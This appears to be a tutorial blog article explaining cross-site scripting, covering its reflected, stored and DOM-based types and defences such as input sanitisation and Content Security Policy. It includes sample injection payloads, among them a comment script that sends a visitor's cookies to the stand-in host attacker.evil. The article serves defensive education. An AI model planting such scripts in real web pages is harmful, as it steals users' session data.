Cross-Site Scripting (XSS)

Cross-site Scripting is a type of computer security vulnerability typically found in web applications, which enables attackers to inject and execute client-side malicious scripts into web pages in another user’s browser.Cross-site Scripting is a type of computer security vulnerability typically found in web applications, which enables attackers to inject and execute client-side malicious scripts into web pages in another user’s browser. 

An XSS vulnerability arises when web applications takes data as input from users and dynamically include it in web pages without first properly validating or sanitizing the data. The inclusion of the user provided input can be at server-side or client-side or both.The cross site scripting is a  scenario where an attacker is able to inject and execute some malicious script into a website is called Cross-site Scripting. Script execution will allow attacker to have key-logging, access confidential user’s data, or the cookie / access tokens etc itself, which will allow the attacker complete access to the user’s data.

How does XSS work?

On a web page, we generally interact with input boxes however, there are text areas that act as the document objects. They take input from the users and these are easily vulnerable.An XSS attack can execute malicious script anywhere in the web app. Here’s a quick example

1. An Input Value:  <input type=”<script> window.alert(“Malicious Script injected!!!!”) </script>” >
2. An attribute of HTML tag: <iframe src=”<script> window.alert(“Malicious Script injected!!!!”) </script>”> </iframe
3. An event binding on HTML tag: <div onmouseover=”<script> window.alert(“Malicious Script injected!!!!”) </script>”> </div>

Example:

Let’s take an example of a website that allows user to add html formatted comment, and an attacker commented like Awesome<script>window.location=”http://attacker.evil?cookie=”+document.cookie</script>. When any other user opens up that post, this comment if rendered without sanitizing (HTML escaping, encoding etc.), will show the comment text and executes the script (invisible) hence user’s data will be compromised.

Types of XSS attacks:

1.  Non-persistent XSS(reflected xss): Such an attack is normally prevalent where an input is accepted without any validation. In such a scenario, a script is sent as a request in an input and this is then shown as a response on the web page.It occurs when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.
2. Persistent (stored) XSS: In such an attack a script is sent as data and stored in the database. The script is executed when the user runs the application.It occurs when the data provided by the attacker is saved by the server, and then permanently displayed on “normal” pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
3.  DOM based or (TYPE-0) XSS: DOM based XSS only executes on the client side and not the server side. This is the most advanced and least-known types of XSS.In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.One of the biggest differences between DOM Based XSS and Reflected or Stored XSS vulnerabilities is that DOM Based XSS cannot be stopped by server-side filters.

How to stop xss?

1.  Don’t allow him to inject. Every user provided input either from URL or from input boxes or from anywhere, always should be sanitized.
2. If the attacker is still able to inject somehow, just stop it’s script from executing. Now when the attacker injects his malicious script, it will either in-line or from some non-trusted source, therefore only allow the scripts to be executed from trusted sources. This can be setup using Content Security Policy.
3. If your application doesn’t need java script, disable script execution completely.

This article will show you how Cross–site Scripting attacks work. By now I hope you all understand that Cross sight scripting is not as trivial a ‘security’ hole as it appears on the surface as all of the simple demos people post as examples.Identifying Cross Sight Scripting is the easy part.Foreseeing its possibilities and knowing how to use it to impact a user base is the hard part, and is the part that is not widely discussed.With XSS so widely written about and so misunderstood a lot of people have walked away with the false conclusion that it is an annoyance and not a threat.The purpose of this paper is not to arm a hoard of script kiddies with a bunch of proven tricks, but is to try to instill a sense as its actual dangers and impacts with those who are in the position to do something about it.

Have something to say about article? comment below.